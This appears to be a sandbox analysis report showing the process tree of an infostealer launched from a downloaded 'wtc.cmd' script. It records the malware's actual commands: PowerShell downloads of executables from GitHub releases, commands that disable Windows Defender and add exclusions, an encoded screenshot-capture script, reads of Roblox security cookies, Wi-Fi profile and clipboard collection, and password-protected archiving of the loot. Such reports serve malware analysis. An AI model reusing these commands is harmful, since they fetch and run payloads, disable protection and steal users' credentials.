    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3000,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3024 /prefetch:1
    3⤵
    PID:3380
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3012,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=3052 /prefetch:1
    3⤵
    PID:3692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4728,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4872 /prefetch:8
    3⤵
    PID:4796
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4448,i,3359387419894312055,18129331124531397317,262144 --variations-seed-version=20241006-180150.222000 --mojo-platform-channel-handle=4888 /prefetch:8
    3⤵
    - NTFS ADS
    PID:4132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\Downloads\wtc.cmd"
  2⤵
  PID:4088
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Write-Host 'Troubleshoot started...' -ForegroundColor Green"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2116
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "[void](New-Item -ItemType Directory -Force -Path 'C:\l')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4604
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/o2ojy6eyu/win1/releases/download/v1/wts.zip' -OutFile 'C:\l\winup.zip'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3164
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\l\winup.zip', 'C:\l')"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2188
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Start-Process 'C:\l\wts.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2344
  - - C:\l\wts.exe
      "C:\l\wts.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:2132
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Invoke-WebRequest -Uri "https://github.com/newbigs/newintsh/releases/download/v1/jCLjDWsLU" -OutFile "C:\Users\Public\Guard.exe""
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:960
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:848
      - C:\Users\Public\Guard.exe
        
        "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
        6⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of FindShellTrayWindow
        Suspicious use of SendNotifyMessage
        
        PID:2588
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Start-Process 'C:\l\winb.exe'"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:1028
  - - C:\l\winb.exe
      "C:\l\winb.exe"
      4⤵
      Executes dropped EXE
      PID:2848
    - - C:\l\winb.exe
        
        "C:\l\winb.exe"
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:3372
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winb.exe'"
        6⤵
        
        PID:692
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\l\winb.exe'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3216
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        6⤵
        
        PID:3880
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2560
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()""
        6⤵
        
        PID:3360
        
        C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('.', 0, 'windows', 48+16);close()"
        7⤵
        
        PID:1600
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr'"
        6⤵
        
        PID:4320
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\  .scr'
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2800
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        
        PID:3128
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        
        PID:2964
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        
        PID:4132
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        
        PID:4648
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
        6⤵
        
        PID:3584
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        7⤵
        
        PID:5452
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
        6⤵
        Clipboard Data
        
        PID:1140
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-Clipboard
        7⤵
        Clipboard Data
        Suspicious behavior: EnumeratesProcesses
        
        PID:5460
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
        6⤵
        
        PID:3912
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        7⤵
        Enumerates processes with tasklist
        
        PID:5540
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:3976
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:5680
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4816
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profile
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5600
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "systeminfo"
        6⤵
        
        PID:4980
        
        C:\Windows\system32\systeminfo.exe
        
        systeminfo
        7⤵
        Gathers system information
        
        PID:5624
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
        6⤵
        
        PID:1628
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5612
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\tp1ovz02\tp1ovz02.cmdline"
        8⤵
        
        PID:6128
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES650E.tmp" "c:\Users\Admin\AppData\Local\Temp\tp1ovz02\CSCADE04A712D864DBFB021663AB3413AE9.TMP"
        9⤵
        
        PID:5152
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:5896
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:6024
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:6072
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:340
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:2652
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:5232
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:3212
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:4800
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "tree /A /F"
        6⤵
        
        PID:5132
        
        C:\Windows\system32\tree.com
        
        tree /A /F
        7⤵
        
        PID:5292
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 436"
        6⤵
        
        PID:5444
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 436
        7⤵
        Kills process with taskkill
        
        PID:5792
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3200"
        6⤵
        
        PID:5400
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3200
        7⤵
        Kills process with taskkill
        
        PID:6012
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4760"
        6⤵
        
        PID:5900
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4760
        7⤵
        Kills process with taskkill
        
        PID:5968
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4184"
        6⤵
        
        PID:5604
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4184
        7⤵
        Kills process with taskkill
        
        PID:5724
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 4852"
        6⤵
        
        PID:5584
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 4852
        7⤵
        Kills process with taskkill
        
        PID:3984
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3380"
        6⤵
        
        PID:6116
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3380
        7⤵
        Kills process with taskkill
        
        PID:848
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /F /PID 3692"
        6⤵
        
        PID:5208
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /F /PID 3692
        7⤵
        Kills process with taskkill
        
        PID:5244
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        6⤵
        
        PID:5292
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:5132
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5348
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "getmac"
        6⤵
        
        PID:4300
        
        C:\Windows\system32\getmac.exe
        
        getmac
        7⤵
        
        PID:2108
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
        6⤵
        
        PID:5752
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        7⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:5512
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI28482\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\Q9BWT.zip" *"
        6⤵
        
        PID:4208
        
        C:\Users\Admin\AppData\Local\Temp\_MEI28482\rar.exe
        
        C:\Users\Admin\AppData\Local\Temp\_MEI28482\rar.exe a -r -hp"newgen" "C:\Users\Admin\AppData\Local\Temp\Q9BWT.zip" *
        7⤵
        Executes dropped EXE
        
        PID:5612
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic os get Caption"
        6⤵
        
        PID:5104
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic os get Caption
        7⤵
        
        PID:5472
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
        6⤵
        
        PID:5392
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic computersystem get totalphysicalmemory
        7⤵
        
        PID:224
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
        6⤵
        
        PID:1028
        
        C:\Windows\System32\Wbem\WMIC.exe
        
        wmic csproduct get uuid
        7⤵
        
        PID:4592
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
        6⤵
        
        PID:928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
